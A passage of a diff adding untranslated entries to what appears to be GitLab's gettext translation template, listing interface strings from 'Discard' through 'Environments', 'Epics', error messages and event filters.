+msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
+msgstr ""
+
+msgid "Discard"
+msgstr ""
+
+msgid "Discard all changes"
+msgstr ""
+
+msgid "Discard all changes?"
+msgstr ""
+
+msgid "Discard changes"
+msgstr ""
+
+msgid "Discard changes to %{path}?"
+msgstr ""
+
+msgid "Discard draft"
+msgstr ""
+
+msgid "Discard review"
+msgstr ""
+
+msgid "DiscordService|Discord Notifications"
+msgstr ""
+
+msgid "DiscordService|Receive event notifications in Discord"
+msgstr ""
+
+msgid "Discover GitLab Geo"
+msgstr ""
+
+msgid "Discover projects, groups and snippets. Share your projects with others"
+msgstr ""
+
+msgid "Discover|Check your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of services."
+msgstr ""
+
+msgid "Discover|For code that's already live in production, our dashboards give you an easy way to prioritize any issues that are found, empowering your team to ship quickly and securely."
+msgstr ""
+
+msgid "Discover|GitLab will perform static and dynamic tests on the code of your application, looking for known flaws and report them in the merge request so you can fix them before merging."
+msgstr ""
+
+msgid "Discover|Give feedback for this page"
+msgstr ""
+
+msgid "Discover|Security capabilities, integrated into your development lifecycle"
+msgstr ""
+
+msgid "Discover|See the other features of the %{linkStart}gold plan%{linkEnd}"
+msgstr ""
+
+msgid "Discover|Start a free trial"
+msgstr ""
+
+msgid "Discover|Upgrade now"
+msgstr ""
+
+msgid "Discuss a specific suggestion or question"
+msgstr ""
+
+msgid "Discuss a specific suggestion or question that needs to be resolved"
+msgstr ""
+
+msgid "Discuss a specific suggestion or question that needs to be resolved."
+msgstr ""
+
+msgid "Discuss a specific suggestion or question."
+msgstr ""
+
+msgid "Discussion to reply to cannot be found"
+msgstr ""
+
+msgid "Disk Usage"
+msgstr ""
+
+msgid "Dismiss"
+msgstr ""
+
+msgid "Dismiss %d selected vulnerability as"
+msgid_plural "Dismiss %d selected vulnerabilities as"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Dismiss DevOps Report introduction"
+msgstr ""
+
+msgid "Dismiss Merge Request promotion"
+msgstr ""
+
+msgid "Dismiss Selected"
+msgstr ""
+
+msgid "Dismiss Value Stream Analytics introduction box"
+msgstr ""
+
+msgid "Dismiss trial promotion"
+msgstr ""
+
+msgid "Dismissable"
+msgstr ""
+
+msgid "Dismissed"
+msgstr ""
+
+msgid "Dismissed at %{projectLink}"
+msgstr ""
+
+msgid "Dismissed on pipeline %{pipelineLink}"
+msgstr ""
+
+msgid "Dismissed on pipeline %{pipelineLink} at %{projectLink}"
+msgstr ""
+
+msgid "Display alerts from all your monitoring tools directly within GitLab."
+msgstr ""
+
+msgid "Display name"
+msgstr ""
+
+msgid "Display rendered file"
+msgstr ""
+
+msgid "Display source"
+msgstr ""
+
+msgid "Do not display offers from third parties within GitLab"
+msgstr ""
+
+msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
+msgstr ""
+
+msgid "Dockerfile"
+msgstr ""
+
+msgid "Documentation"
+msgstr ""
+
+msgid "Documentation for popular identity providers"
+msgstr ""
+
+msgid "Documents reindexed: %{processed_documents} (%{percentage}%%)"
+msgstr ""
+
+msgid "Doing"
+msgstr ""
+
+msgid "Domain"
+msgstr ""
+
+msgid "Domain cannot be deleted while associated to one or more clusters."
+msgstr ""
+
+msgid "Domain verification is an essential security measure for public GitLab sites. Users are required to demonstrate they control a domain before it is enabled"
+msgstr ""
+
+msgid "Domain was successfully created."
+msgstr ""
+
+msgid "Domain was successfully deleted."
+msgstr ""
+
+msgid "Domain was successfully updated."
+msgstr ""
+
+msgid "Don't have an account yet?"
+msgstr ""
+
+msgid "Don't include description in commit message"
+msgstr ""
+
+msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
+msgstr ""
+
+msgid "Don't show again"
+msgstr ""
+
+msgid "Done"
+msgstr ""
+
+msgid "Download"
+msgstr ""
+
+msgid "Download %{format}"
+msgstr ""
+
+msgid "Download %{format}:"
+msgstr ""
+
+msgid "Download CSV"
+msgstr ""
+
+msgid "Download artifacts"
+msgstr ""
+
+msgid "Download as"
+msgstr ""
+
+msgid "Download as CSV"
+msgstr ""
+
+msgid "Download asset"
+msgstr ""
+
+msgid "Download codes"
+msgstr ""
+
+msgid "Download evidence JSON"
+msgstr ""
+
+msgid "Download export"
+msgstr ""
+
+msgid "Download image"
+msgstr ""
+
+msgid "Download license"
+msgstr ""
+
+msgid "Download raw data (.csv)"
+msgstr ""
+
+msgid "Download source code"
+msgstr ""
+
+msgid "Download this directory"
+msgstr ""
+
+msgid "DownloadCommit|Email Patches"
+msgstr ""
+
+msgid "DownloadCommit|Plain Diff"
+msgstr ""
+
+msgid "DownloadSource|Download"
+msgstr ""
+
+msgid "Downstream"
+msgstr ""
+
+msgid "Downvotes"
+msgstr ""
+
+msgid "Draft"
+msgstr ""
+
+msgid "Draft merge requests can't be merged."
+msgstr ""
+
+msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgstr ""
+
+msgid "Drop your designs to start your upload."
+msgstr ""
+
+msgid "Due Date"
+msgstr ""
+
+msgid "Due date"
+msgstr ""
+
+msgid "Duration"
+msgstr ""
+
+msgid "Duration for the last 30 commits"
+msgstr ""
+
+msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
+msgstr ""
+
+msgid "Dynamic Application Security Testing (DAST)"
+msgstr ""
+
+msgid "Each Runner can be in one of the following states and/or belong to one of the following types:"
+msgstr ""
+
+msgid "Each Runner can be in one of the following states:"
+msgstr ""
+
+msgid "Edit"
+msgstr ""
+
+msgid "Edit %{issuable}"
+msgstr ""
+
+msgid "Edit %{name}"
+msgstr ""
+
+msgid "Edit Comment"
+msgstr ""
+
+msgid "Edit Deploy Key"
+msgstr ""
+
+msgid "Edit Geo Node"
+msgstr ""
+
+msgid "Edit Group Hook"
+msgstr ""
+
+msgid "Edit Label"
+msgstr ""
+
+msgid "Edit Milestone"
+msgstr ""
+
+msgid "Edit Password"
+msgstr ""
+
+msgid "Edit Pipeline Schedule %{id}"
+msgstr ""
+
+msgid "Edit Release"
+msgstr ""
+
+msgid "Edit Requirement"
+msgstr ""
+
+msgid "Edit Slack integration"
+msgstr ""
+
+msgid "Edit Snippet"
+msgstr ""
+
+msgid "Edit System Hook"
+msgstr ""
+
+msgid "Edit application"
+msgstr ""
+
+msgid "Edit board"
+msgstr ""
+
+msgid "Edit comment"
+msgstr ""
+
+msgid "Edit description"
+msgstr ""
+
+msgid "Edit environment"
+msgstr ""
+
+msgid "Edit file"
+msgstr ""
+
+msgid "Edit files in the editor and commit changes here"
+msgstr ""
+
+msgid "Edit fork in Web IDE"
+msgstr ""
+
+msgid "Edit group: %{group_name}"
+msgstr ""
+
+msgid "Edit identity for %{user_name}"
+msgstr ""
+
+msgid "Edit issues"
+msgstr ""
+
+msgid "Edit iteration"
+msgstr ""
+
+msgid "Edit public deploy key"
+msgstr ""
+
+msgid "Edit stage"
+msgstr ""
+
+msgid "Edit this release"
+msgstr ""
+
+msgid "Edit wiki page"
+msgstr ""
+
+msgid "Edit your most recent comment in a thread (from an empty textarea)"
+msgstr ""
+
+msgid "Edited %{timeago}"
+msgstr ""
+
+msgid "Editing"
+msgstr ""
+
+msgid "Elasticsearch"
+msgstr ""
+
+msgid "Elasticsearch AWS IAM credentials"
+msgstr ""
+
+msgid "Elasticsearch indexing restrictions"
+msgstr ""
+
+msgid "Elasticsearch indexing started"
+msgstr ""
+
+msgid "Elasticsearch integration. Elasticsearch AWS IAM."
+msgstr ""
+
+msgid "Elasticsearch reindexing is already in progress"
+msgstr ""
+
+msgid "Elasticsearch reindexing triggered"
+msgstr ""
+
+msgid "Elasticsearch returned status code: %{status_code}"
+msgstr ""
+
+msgid "Elasticsearch zero-downtime reindexing"
+msgstr ""
+
+msgid "Elastic|None. Select namespaces to index."
+msgstr ""
+
+msgid "Elastic|None. Select projects to index."
+msgstr ""
+
+msgid "Email"
+msgstr ""
+
+msgid "Email %{number}"
+msgstr ""
+
+msgid "Email Notification"
+msgstr ""
+
+msgid "Email address"
+msgstr ""
+
+msgid "Email could not be sent"
+msgstr ""
+
+msgid "Email display name"
+msgstr ""
+
+msgid "Email not verified. Please verify your email in Salesforce."
+msgstr ""
+
+msgid "Email notification for unknown sign-ins"
+msgstr ""
+
+msgid "Email patch"
+msgstr ""
+
+msgid "Email restrictions"
+msgstr ""
+
+msgid "Email restrictions for sign-ups"
+msgstr ""
+
+msgid "Email sent"
+msgstr ""
+
+msgid "Email the pipelines status to a list of recipients."
+msgstr ""
+
+msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
+msgstr ""
+
+msgid "EmailError|The thread you are replying to no longer exists, perhaps it was deleted? If you believe this is in error, contact a staff member."
+msgstr ""
+
+msgid "EmailError|We couldn't figure out what the email is for. Please create your issue or comment through the web interface."
+msgstr ""
+
+msgid "EmailError|We couldn't figure out what the email is in reply to. Please create your comment through the web interface."
+msgstr ""
+
+msgid "EmailError|We couldn't figure out what user corresponds to the email. Please create your comment through the web interface."
+msgstr ""
+
+msgid "EmailError|We couldn't find the project. Please check if there's any typo."
+msgstr ""
+
+msgid "EmailError|You are not allowed to perform this action. If you believe this is in error, contact a staff member."
+msgstr ""
+
+msgid "EmailError|Your account has been blocked. If you believe this is in error, contact a staff member."
+msgstr ""
+
+msgid "EmailToken|reset it"
+msgstr ""
+
+msgid "EmailToken|resetting..."
+msgstr ""
+
+msgid "Emails"
+msgstr ""
+
+msgid "Emails sent from Service Desk will have this name"
+msgstr ""
+
+msgid "Emails separated by comma"
+msgstr ""
+
+msgid "EmailsOnPushService|Disable code diffs"
+msgstr ""
+
+msgid "EmailsOnPushService|Don't include possibly sensitive code diffs in notification body."
+msgstr ""
+
+msgid "EmailsOnPushService|Email the commits and diff of each push to a list of recipients."
+msgstr ""
+
+msgid "EmailsOnPushService|Emails on push"
+msgstr ""
+
+msgid "EmailsOnPushService|Emails separated by whitespace"
+msgstr ""
+
+msgid "EmailsOnPushService|Send from committer"
+msgstr ""
+
+msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain is part of the domain GitLab is running on (e.g. %{domains})."
+msgstr ""
+
+msgid "Embed"
+msgstr ""
+
+msgid "Empty file"
+msgstr ""
+
+msgid "Enable"
+msgstr ""
+
+msgid "Enable Auto DevOps"
+msgstr ""
+
+msgid "Enable HTML emails"
+msgstr ""
+
+msgid "Enable Incident Management inbound alert limit"
+msgstr ""
+
+msgid "Enable PlantUML"
+msgstr ""
+
+msgid "Enable Pseudonymizer data collection"
+msgstr ""
+
+msgid "Enable Seat Link"
+msgstr ""
+
+msgid "Enable Spam Check via external API endpoint"
+msgstr ""
+
+msgid "Enable access to Grafana"
+msgstr ""
+
+msgid "Enable access to the Performance Bar for a given group."
+msgstr ""
+
+msgid "Enable and configure Grafana."
+msgstr ""
+
+msgid "Enable and configure Prometheus metrics."
+msgstr ""
+
+msgid "Enable classification control using an external service"
+msgstr ""
+
+msgid "Enable container expiration and retention policies for projects created earlier than GitLab 12.7."
+msgstr ""
+
+msgid "Enable email restrictions for sign ups"
+msgstr ""
+
+msgid "Enable error tracking"
+msgstr ""
+
+msgid "Enable feature to choose access level"
+msgstr ""
+
+msgid "Enable for this project"
+msgstr ""
+
+msgid "Enable group Runners"
+msgstr ""
+
+msgid "Enable header and footer in emails"
+msgstr ""
+
+msgid "Enable integration"
+msgstr ""
+
+msgid "Enable maintenance mode"
+msgstr ""
+
+msgid "Enable mirror configuration"
+msgstr ""
+
+msgid "Enable or disable Seat Link."
+msgstr ""
+
+msgid "Enable or disable keyboard shortcuts"
+msgstr ""
+
+msgid "Enable or disable the Pseudonymizer data collection."
+msgstr ""
+
+msgid "Enable or disable version check and usage ping."
+msgstr ""
+
+msgid "Enable protected paths rate limit"
+msgstr ""
+
+msgid "Enable proxy"
+msgstr ""
+
+msgid "Enable reCAPTCHA or Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
+msgstr ""
+
+msgid "Enable shared Runners"
+msgstr ""
+
+msgid "Enable snowplow tracking"
+msgstr ""
+
+msgid "Enable two-factor authentication"
+msgstr ""
+
+msgid "Enable usage ping"
+msgstr ""
+
+msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
+msgstr ""
+
+msgid "EnableReviewApp|%{stepStart}Step 1%{stepEnd}. Ensure you have Kubernetes set up and have a base domain for your %{linkStart}cluster%{linkEnd}."
+msgstr ""
+
+msgid "EnableReviewApp|%{stepStart}Step 2%{stepEnd}. Copy the following snippet:"
+msgstr ""
+
+msgid "EnableReviewApp|%{stepStart}Step 3%{stepEnd}. Add it to the project %{linkStart}gitlab-ci.yml%{linkEnd} file."
+msgstr ""
+
+msgid "EnableReviewApp|Close"
+msgstr ""
+
+msgid "EnableReviewApp|Copy snippet text"
+msgstr ""
+
+msgid "Enabled"
+msgstr ""
+
+msgid "Enabled Git access protocols"
+msgstr ""
+
+msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
+msgstr ""
+
+msgid "Enabling this will only make licensed EE features available to projects if the project namespace's plan includes the feature or if the project is public."
+msgstr ""
+
+msgid "Encountered an error while rendering: %{err}"
+msgstr ""
+
+msgid "End date"
+msgstr ""
+
+msgid "Ends at (UTC)"
+msgstr ""
+
+msgid "Enforce DNS rebinding attack protection"
+msgstr ""
+
+msgid "Enforce personal access token expiration"
+msgstr ""
+
+msgid "Ensure connectivity is available from the GitLab server to the Prometheus server"
+msgstr ""
+
+msgid "Ensure your %{linkStart}environment is part of the deploy stage%{linkEnd} of your CI pipeline to track deployments to your cluster."
+msgstr ""
+
+msgid "Enter 2FA for Admin Mode"
+msgstr ""
+
+msgid "Enter Admin Mode"
+msgstr ""
+
+msgid "Enter IP address range"
+msgstr ""
+
+msgid "Enter a number"
+msgstr ""
+
+msgid "Enter a whole number between 0 and 100"
+msgstr ""
+
+msgid "Enter at least three characters to search"
+msgstr ""
+
+msgid "Enter board name"
+msgstr ""
+
+msgid "Enter domain"
+msgstr ""
+
+msgid "Enter in your Bitbucket Server URL and personal access token below"
+msgstr ""
+
+msgid "Enter in your Phabricator Server URL and personal access token below"
+msgstr ""
+
+msgid "Enter merge request URLs"
+msgstr ""
+
+msgid "Enter new %{field_title}"
+msgstr ""
+
+msgid "Enter new AWS Secret Access Key"
+msgstr ""
+
+msgid "Enter number of issues"
+msgstr ""
+
+msgid "Enter one or more user ID separated by commas"
+msgstr ""
+
+msgid "Enter the code from the two-factor app on your mobile device. If you've lost your device, you may enter one of your recovery codes."
+msgstr ""
+
+msgid "Enter the issue description"
+msgstr ""
+
+msgid "Enter the issue title"
+msgstr ""
+
+msgid "Enter the merge request description"
+msgstr ""
+
+msgid "Enter the merge request title"
+msgstr ""
+
+msgid "Enter the name of your application, and we'll return a unique %{type}."
+msgstr ""
+
+msgid "Enter weights for storages for new repositories."
+msgstr ""
+
+msgid "Enter your password to approve"
+msgstr ""
+
+msgid "Environment"
+msgstr ""
+
+msgid "Environment does not have deployments"
+msgstr ""
+
+msgid "Environment is required for Stages::MetricEndpointInserter"
+msgstr ""
+
+msgid "Environment is required for Stages::VariableEndpointInserter"
+msgstr ""
+
+msgid "Environment scope"
+msgstr ""
+
+msgid "Environment variables are applied to environments via the Runner. You can use environment variables for passwords, secret keys, etc. Make variables available to the running application by prepending the variable key with %{code_open}K8S_SECRET_%{code_close}. You can set variables to be:"
+msgstr ""
+
+msgid "Environment variables are configured by your administrator to be %{link_start}protected%{link_end} by default"
+msgstr ""
+
+msgid "Environment variables on this GitLab instance are configured to be %{link_start}protected%{link_end} by default"
+msgstr ""
+
+msgid "Environment:"
+msgstr ""
+
+msgid "EnvironmentDashboard|API"
+msgstr ""
+
+msgid "EnvironmentDashboard|Created through the Deployment API"
+msgstr ""
+
+msgid "EnvironmentDashboard|You are looking at the last updated environment"
+msgstr ""
+
+msgid "Environments"
+msgstr ""
+
+msgid "Environments Dashboard"
+msgstr ""
+
+msgid "Environments allow you to track deployments of your application %{link_to_read_more}."
+msgstr ""
+
+msgid "Environments in %{name}"
+msgstr ""
+
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
+msgid "EnvironmentsDashboard|Add a project to the dashboard"
+msgstr ""
+
+msgid "EnvironmentsDashboard|Add projects"
+msgstr ""
+
+msgid "EnvironmentsDashboard|Environments Dashboard"
+msgstr ""
+
+msgid "EnvironmentsDashboard|Job: %{job}"
+msgstr ""
+
+msgid "EnvironmentsDashboard|More actions"
+msgstr ""
+
+msgid "EnvironmentsDashboard|More information"
+msgstr ""
+
+msgid "EnvironmentsDashboard|Remove"
+msgstr ""
+
+msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
+msgstr ""
+
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgstr ""
+
+msgid "Environments|An error occurred while canceling the auto stop, please try again"
+msgstr ""
+
+msgid "Environments|An error occurred while deleting the environment. Check if the environment stopped; if not, stop it and try again."
+msgstr ""
+
+msgid "Environments|An error occurred while fetching the environments."
+msgstr ""
+
+msgid "Environments|An error occurred while making the request."
+msgstr ""
+
+msgid "Environments|An error occurred while re-deploying the environment, please try again"
+msgstr ""
+
+msgid "Environments|An error occurred while rolling back the environment, please try again"
+msgstr ""
+
+msgid "Environments|An error occurred while stopping the environment, please try again"
+msgstr ""
+
+msgid "Environments|Are you sure you want to stop this environment?"
+msgstr ""
+
+msgid "Environments|Auto stop in"
+msgstr ""
+
+msgid "Environments|Auto stops %{auto_stop_time}"
+msgstr ""
+
+msgid "Environments|Commit"
+msgstr ""
+
+msgid "Environments|Currently showing %{fetched} results."
+msgstr ""
+
+msgid "Environments|Currently showing all results."
+msgstr ""
+
+msgid "Environments|Delete"
+msgstr ""
+
+msgid "Environments|Delete environment"
+msgstr ""
+
+msgid "Environments|Deleting the '%{environmentName}' environment cannot be undone. Do you want to delete it anyway?"
+msgstr ""
+
+msgid "Environments|Deploy to..."
+msgstr ""
+
+msgid "Environments|Deployment"
+msgstr ""
+
+msgid "Environments|Enable review app"
+msgstr ""
+
+msgid "Environments|Environment"
+msgstr ""
+
+msgid "Environments|Environments"
+msgstr ""
+
+msgid "Environments|Environments are places where code gets deployed, such as staging or production."
+msgstr ""
+
+msgid "Environments|Install Elastic Stack on your cluster to enable advanced querying capabilities such as full text search."
+msgstr ""
+
+msgid "Environments|Job"
+msgstr ""
+
+msgid "Environments|Learn about environments"
+msgstr ""
+
+msgid "Environments|Learn more about stopping environments"
+msgstr ""
+
+msgid "Environments|Logs from %{start} to %{end}."
+msgstr ""
+
+msgid "Environments|Managed apps"
+msgstr ""
+
+msgid "Environments|More information"
+msgstr ""
+
+msgid "Environments|New environment"
+msgstr ""
+
+msgid "Environments|No deployed environments"
+msgstr ""
+
+msgid "Environments|No deployments yet"
+msgstr ""
+
+msgid "Environments|No pod selected"
+msgstr ""
+
+msgid "Environments|No pods to display"
+msgstr ""
+
+msgid "Environments|Note that this action will stop the environment, but it will %{emphasisStart}not%{emphasisEnd} have an effect on any existing deployment due to no “stop environment action†being defined in the %{ciConfigLinkStart}.gitlab-ci.yml%{ciConfigLinkEnd} file."
+msgstr ""
+
+msgid "Environments|Note that this action will stop the environment, but it will %{emphasis_start}not%{emphasis_end} have an effect on any existing deployment due to no “stop environment action†being defined in the %{ci_config_link_start}.gitlab-ci.yml%{ci_config_link_end} file."
+msgstr ""
+
+msgid "Environments|Open live environment"
+msgstr ""
+
+msgid "Environments|Pod name"
+msgstr ""
+
+msgid "Environments|Re-deploy"
+msgstr ""
+
+msgid "Environments|Re-deploy environment %{environment_name}?"
+msgstr ""
+
+msgid "Environments|Re-deploy environment %{name}?"
+msgstr ""
+
+msgid "Environments|Re-deploy to environment"
+msgstr ""
+
+msgid "Environments|Rollback"
+msgstr ""
+
+msgid "Environments|Rollback environment"
+msgstr ""
+
+msgid "Environments|Rollback environment %{environment_name}?"
+msgstr ""
+
+msgid "Environments|Rollback environment %{name}?"
+msgstr ""
+
+msgid "Environments|Select pod"
+msgstr ""
+
+msgid "Environments|Show all"
+msgstr ""
+
+msgid "Environments|Stop"
+msgstr ""
+
+msgid "Environments|Stop environment"
+msgstr ""
+
+msgid "Environments|Stopping"
+msgstr ""
+
+msgid "Environments|There was an error fetching the logs. Please try again."
+msgstr ""
+
+msgid "Environments|This action will relaunch the job for commit %{commit_id}, putting the environment in a previous version. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Environments|This action will relaunch the job for commit %{linkStart}%{commitId}%{linkEnd}, putting the environment in a previous version. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Environments|This action will run the job defined by %{environment_name} for commit %{commit_id}, putting the environment in a previous version. You can revert it by re-deploying the latest version of your application. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Environments|This action will run the job defined by %{name} for commit %{linkStart}%{commitId}%{linkEnd} putting the environment in a previous version. You can revert it by re-deploying the latest version of your application. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Environments|Updated"
+msgstr ""
+
+msgid "Environments|You don't have any environments right now"
+msgstr ""
+
+msgid "Environments|protected"
+msgstr ""
+
+msgid "Epic"
+msgstr ""
+
+msgid "Epic cannot be found."
+msgstr ""
+
+msgid "Epic events"
+msgstr ""
+
+msgid "Epic not found for given params"
+msgstr ""
+
+msgid "Epics"
+msgstr ""
+
+msgid "Epics Roadmap"
+msgstr ""
+
+msgid "Epics and Issues"
+msgstr ""
+
+msgid "Epics let you manage your portfolio of projects more efficiently and with less effort"
+msgstr ""
+
+msgid "Epics, Issues, and Merge Requests"
+msgstr ""
+
+msgid "Epics|Add a new epic"
+msgstr ""
+
+msgid "Epics|Add an existing epic"
+msgstr ""
+
+msgid "Epics|An error occurred while saving the %{epicDateType} date"
+msgstr ""
+
+msgid "Epics|An error occurred while updating labels."
+msgstr ""
+
+msgid "Epics|Are you sure you want to remove %{bStart}%{targetIssueTitle}%{bEnd} from %{bStart}%{parentEpicTitle}%{bEnd}?"
+msgstr ""
+
+msgid "Epics|Enter a title for your epic"
+msgstr ""
+
+msgid "Epics|How can I solve this?"
+msgstr ""
+
+msgid "Epics|Leave empty to inherit from milestone dates"
+msgstr ""
+
+msgid "Epics|More information"
+msgstr ""
+
+msgid "Epics|Remove epic"
+msgstr ""
+
+msgid "Epics|Remove issue"
+msgstr ""
+
+msgid "Epics|Show more"
+msgstr ""
+
+msgid "Epics|Something went wrong while assigning issue to epic."
+msgstr ""
+
+msgid "Epics|Something went wrong while creating child epics."
+msgstr ""
+
+msgid "Epics|Something went wrong while creating issue."
+msgstr ""
+
+msgid "Epics|Something went wrong while fetching child epics."
+msgstr ""
+
+msgid "Epics|Something went wrong while fetching group epics."
+msgstr ""
+
+msgid "Epics|Something went wrong while moving item."
+msgstr ""
+
+msgid "Epics|Something went wrong while ordering item."
+msgstr ""
+
+msgid "Epics|Something went wrong while removing issue from epic."
+msgstr ""
+
+msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
+msgstr ""
+
+msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
+msgid "Epics|This will also remove any descendents of %{bStart}%{targetEpicTitle}%{bEnd} from %{bStart}%{parentEpicTitle}%{bEnd}. Are you sure?"
+msgstr ""
+
+msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
+msgstr ""
+
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
+msgid "Epics|Unable to save epic. Please try again"
+msgstr ""
+
+msgid "Epics|due"
+msgstr ""
+
+msgid "Epics|start"
+msgstr ""
+
+msgid "Error"
+msgstr ""
+
+msgid "Error Details"
+msgstr ""
+
+msgid "Error Tracking"
+msgstr ""
+
+msgid "Error creating epic"
+msgstr ""
+
+msgid "Error creating label."
+msgstr ""
+
+msgid "Error creating new iteration"
+msgstr ""
+
+msgid "Error creating repository for snippet with id %{snippet_id}"
+msgstr ""
+
+msgid "Error creating the snippet"
+msgstr ""
+
+msgid "Error deleting %{issuableType}"
+msgstr ""
+
+msgid "Error deleting project. Check logs for error details."
+msgstr ""
+
+msgid "Error fetching diverging counts for branches. Please try again."
+msgstr ""
+
+msgid "Error fetching forked projects. Please try again."
+msgstr ""
+
+msgid "Error fetching labels."
+msgstr ""
+
+msgid "Error fetching network graph."
+msgstr ""
+
+msgid "Error fetching payload data."
+msgstr ""
+
+msgid "Error fetching projects"
+msgstr ""
+
+msgid "Error fetching refs"
+msgstr ""
+
+msgid "Error fetching the dependency list. Please check your network connection and try again."
+msgstr ""
+
+msgid "Error loading branch data. Please try again."
+msgstr ""
+
+msgid "Error loading branches."
+msgstr ""
+
+msgid "Error loading burndown chart data"
+msgstr ""
+
+msgid "Error loading countries data."
+msgstr ""
+
+msgid "Error loading file viewer."
+msgstr ""
+
+msgid "Error loading issues"
+msgstr ""
+
+msgid "Error loading iterations"
+msgstr ""
+
+msgid "Error loading last commit."
+msgstr ""
+
+msgid "Error loading markdown preview"
+msgstr ""
+
+msgid "Error loading merge requests."
+msgstr ""
+
+msgid "Error loading milestone tab"
+msgstr ""
+
+msgid "Error loading project data. Please try again."
+msgstr ""
+
+msgid "Error loading template types."
+msgstr ""
+
+msgid "Error loading template."
+msgstr ""
+
+msgid "Error loading viewer"
+msgstr ""
+
+msgid "Error message:"
+msgstr ""
+
+msgid "Error occurred when fetching sidebar data"
+msgstr ""
+
+msgid "Error occurred when saving assignees"
+msgstr ""
+
+msgid "Error occurred when toggling the notification subscription"
+msgstr ""
+
+msgid "Error occurred while updating the issue status"
+msgstr ""
+
+msgid "Error occurred while updating the issue weight"
+msgstr ""
+
+msgid "Error occurred. A blocked user cannot be deactivated"
+msgstr ""
+
+msgid "Error occurred. A blocked user must be unblocked to be activated"
+msgstr ""
+
+msgid "Error occurred. User was not blocked"
+msgstr ""
+
+msgid "Error occurred. User was not confirmed"
+msgstr ""
+
+msgid "Error occurred. User was not unblocked"
+msgstr ""
+
+msgid "Error occurred. User was not unlocked"
+msgstr ""
+
+msgid "Error rendering markdown preview"
+msgstr ""
+
+msgid "Error saving label update."
+msgstr ""
+
+msgid "Error setting up editor. Please try again."
+msgstr ""
+
+msgid "Error tracking"
+msgstr ""
+
+msgid "Error updating %{issuableType}"
+msgstr ""
+
+msgid "Error updating status for all to-do items."
+msgstr ""
+
+msgid "Error updating status of to-do item."
+msgstr ""
+
+msgid "Error updating the snippet"
+msgstr ""
+
+msgid "Error uploading file"
+msgstr ""
+
+msgid "Error uploading file: %{stripped}"
+msgstr ""
+
+msgid "Error while loading the merge request. Please try again."
+msgstr ""
+
+msgid "Error while loading the project data. Please try again."
+msgstr ""
+
+msgid "Error while migrating %{upload_id}: %{error_message}"
+msgstr ""
+
+msgid "Error with Akismet. Please check the logs for more info."
+msgstr ""
+
+msgid "Error: %{error_message}"
+msgstr ""
+
+msgid "Error: Unable to create deploy freeze"
+msgstr ""
+
+msgid "ErrorTracking|Active"
+msgstr ""
+
+msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgstr ""
+
+msgid "ErrorTracking|Auth Token"
+msgstr ""
+
+msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgstr ""
+
+msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgstr ""
+
+msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgstr ""
+
+msgid "ErrorTracking|No projects available"
+msgstr ""
+
+msgid "ErrorTracking|Select project"
+msgstr ""
+
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgstr ""
+
+msgid "Errors"
+msgstr ""
+
+msgid "Errors:"
+msgstr ""
+
+msgid "Estimate"
+msgstr ""
+
+msgid "Estimated"
+msgstr ""
+
+msgid "EventFilterBy|Filter by all"
+msgstr ""
+
+msgid "EventFilterBy|Filter by comments"
+msgstr ""
+
+msgid "EventFilterBy|Filter by designs"
+msgstr ""
+
+msgid "EventFilterBy|Filter by epic events"
+msgstr ""
+
+msgid "EventFilterBy|Filter by issue events"
+msgstr ""
+
+msgid "EventFilterBy|Filter by merge events"
+msgstr ""
+
+msgid "EventFilterBy|Filter by push events"
+msgstr ""
+
+msgid "EventFilterBy|Filter by team"
+msgstr ""
+
+msgid "EventFilterBy|Filter by wiki"
+msgstr ""
+
+msgid "Events"
+msgstr ""
+
+msgid "Events in %{project_path}"
+msgstr ""
+
+msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
+msgstr ""
+
+msgid "Every day"
+msgstr ""
+
+msgid "Every day (at %{time})"
+msgstr ""
+
+msgid "Every month"
+msgstr ""
+
+msgid "Every month (Day %{day} at %{time})"
+msgstr ""
+
+msgid "Every three months"
+msgstr ""
+
+msgid "Every two weeks"
+msgstr ""
+
+msgid "Every week"
+msgstr ""
+
+msgid "Every week (%{weekday} at %{time})"
+msgstr ""
+
+msgid "Everyone"
+msgstr ""
+
+msgid "Everyone With Access"
+msgstr ""
+
+msgid "Everyone can contribute"
+msgstr ""
+
+msgid "Everything on your to-do list is marked as done."
+msgstr ""
+
+msgid "Everything you need to create a GitLab Pages site using Gatsby."
+msgstr ""
+
+msgid "Everything you need to create a GitLab Pages site using GitBook."
+msgstr ""
+
+msgid "Everything you need to create a GitLab Pages site using Hexo."
